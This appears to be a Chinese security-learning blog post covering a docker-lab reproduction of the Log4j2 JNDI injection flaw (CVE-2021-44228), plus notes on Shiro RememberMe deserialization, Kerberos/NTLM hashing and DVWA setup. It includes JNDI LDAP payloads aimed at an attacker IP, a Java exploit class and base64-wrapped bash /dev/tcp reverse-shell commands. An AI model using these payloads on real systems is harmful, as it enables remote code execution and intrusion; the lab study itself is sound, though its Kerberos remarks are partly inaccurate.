上次讲了thinkphp 那么这次我们就来讲一下log4j2
1.关于log4j2的原理 ----> CVE-2021-44228
当时这个漏洞出来的时候，可以说是轰动了全球~!!!!!
当时基本上是用这个框架的都爆出了这个漏洞
于是，它就在框架漏洞中占有了一席重要之地！！！！ 下面，我们就来讲一下漏洞的原理
由于 Apache Log4j 存在递归解析功能，未取得身份认证的用户，可以从 远程发送数据请求输入数据日志，轻松触发漏洞，最终在目标上执行任意代码。
1.Ldap（Lightweight Directory Access Protocol）
2. Jndi （JAVA NAMING AND Directory interface）
其实这也算的上是一个jndi的注入吧！！！
通过上面的过程，我们就可以知道这一个漏洞的本质了！！！
利用jndi访问ldap服务后，ldap服务返回了class攻击代码，被攻击的服务器执行了攻击代码。远程代码执行漏洞，是利用了Log4j2可以对日志中的“${}”进行解析执行，来进行攻击的
2.Log4j2 漏洞复现
1.单进程复现
首先肯定是要搭建环境啦
docker pull vulfocus/log4j2-rce-2021-12-09
启动环境，并且进行端口映射
docker run -d -p 8083:8080 vulfocus/log4j2-rce-2021-12-09可以看见成功运行！！！
开搞！！！！ 先用个dnslog探针去试试水，不过记得编码哦！！
${jndi:ldap://pcakvm.dnslog.cn/exp}
于是就能发现
于是就能开开始我们的复现手段
我们就要去部署我们的攻击机VPS,先去开个端口
然后在去开一个NC进行监听
然后就是BP弹poc，记得进行URL编码！！！
${jndi:ldap://192.168.180.38:7777/Basic/ReverseShel/192.168.180.38/9191}然后可以看见，可能是配置问题 最后 failed 了~~
2.多进程复现
我们可以先编辑一个文件
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/接受shell的ip/nc监听的端口 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
//javac Exploit.java 然后就去编译
javac Exploit.java然后就是将你的编译出来的文件放在这个文件夹下 
然后先去开一个服务器（这个页面下）
sudo python3 -m http.server 80
然后就是去开启Ldap的服务器
然后就去BP去输入POC (记得编码)
${jndi:ldap://192.168.180.38:800/Exploit}但是好像还是弹不成功
3.单线程操作 ！！（成功！！！！！！！）
这一个是成功的！！！！ 来看以下的流程
先是你的poc
bash -i >& /dev/tcp/ip(地址)/(端口) 0>&1这个poc我以前解释过了就不在详细赘述了，不过还是解释一下一些东西
- >& /dev/tcp/ip地址/端口 将标准输出和标准错误重定向到指定的 TCP 连接
0>&1将标准输入重定向到标准输出，使得输入和输出都通过 TCP 连接
然后就要去将这段poc去进行Base64编码！！！ 再去拼接这一段
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编码之后的代码}|{base64,-d}|{bash,-i}" -A "你监听的ip"然后就会弹出下面的这些
我就选择用JDK 1.8_Ldap的那个！！然后抓包，放包，一气呵成！！！
但是，在这之前，你记得先去nc开个监听！！！！
然后就是能成功地弹Shell 啦！！！！
这样，就完成了log4j2地复现了！！！！
3.Shiro 反序列化
首先，我们来铺垫一下基础，关于反序列化
反序列化，就是序列化的逆过程（虽然好像什么都没说），那我们就来说一下序列化吧！！
序列化，一般发生在表示层，即将对象转化成为字节流，便于保存在内存，文件，数据库中
说个人话，序列化就是将图片，音频这种转换成字节流，然后进行传输
继续说人话,反序列化就是将接受到的字节流转换成图片，音频等过程- Shiro提供了一个RememberMe的功能，而且他这样的一个过程
- RememberMe Cookie值-->序列化 --> AES加密 --->Base64加密
- 那么在服务端收到之后，就会将数据先进行Base64解码，然后AES解码，最后反序列化
那么这个过程中的漏洞在哪里呢
：????咋看起来也没什么漏洞啊？？？
没错，关键就在于AES加密的密钥Key被硬编码在代码里，Shiro是开源软件，意味着每个人通过源代码都能拿到AES加密的密钥，而且AES是一种对称性加密算法！！！所以攻击者就可以将恶意代码进行序列化，然后进行Shiro框架的AES加密，然后再base64加密之后再次发送给服务端，当服务端反序列化的时候（而且还不过滤），那恶意的代码就会被执行
关于漏洞复现，我们下一篇blog再讲！！！
4.Kerberos协议的误解
还记得之前讲过的Kerberos认证吗，里面有一些常见的误区，我们来看一下！！
在用户向KDC中的AS请求之后，KDC会向用户返回Sessionkey 和TGT
- 其中的Sessionkey是用的用户的NTLM_hash进行加密
- 其中的TGT用的是krbtgt用户的hash加密！！
那么其中我们说的NTLM_Hash加密，和NTLM算法可是不一样的！！！
下面我们先来回顾一下NTLM算法
from Crypto.Hash import MD4
import binascii
password = "admin".encode("utf-16le") # 将字符串 "admin" 进行Unicode编码
md4_hash = MD4.new(password).digest()
print(binascii.hexlify(md4_hash).decode()) # 将二进制的 MD4 哈希值转换为十六进制，并打印出来- 首先讲所有字符串转换成为hex编码
- 然后将字符串进行Unicode编码
- 最后进行MD4的单向Hash加密
这样就得到了我们SAM文件中的NTLM_hash了,这过程是不可逆的！！！毫无疑问
但是呢，如果是在KDC中的AS生成的SessionKey中的加密方式是公钥加密算法
也就是拿这些Hash去当作密钥，进行对成性加密！！！这个过程在知道密钥的情况下是可以逆向解出SessionKey的！！！
这也就是为什么可以伪造黄金票据TGT 和白银票据ST
5.讲讲Docker ！！
其实我们用了那么久的docker，那么啥是docker呢？？？
Docker 是一种开源的容器化平台，用于开发、交付和运行应用程序。它使开发人员能够将应用程序及其所有依赖项打包到一个称为容器的可移植容器中，然后将其部署到任何支持 Docker 的环境中
然后，为什么docker下运行的虚拟机的内存会这么小呢？？
Docker 利用宿主机的内核来运行容器，而不是每个容器都有自己的操作系统
通过与主机共享内核，就不需要再去安装显卡，内存处理器等资源！！！！
那么我们就来演示一下通过docker来进行靶场的训练！！！
docker search dvwa //拿dvwa的靶场来演示
docker search citizenstig/dvwa然后就是去拉取环境了！！！！
然后就要进行端口映射了！！这样才能被访问得到
docker run -d -p 你写一个端口:80 对应得imageid
然后就可以去访问了
那就来一关最简单得文件上传吧！！！
不出意外，能连接上
不出意外也是可以执行命令的！！！！
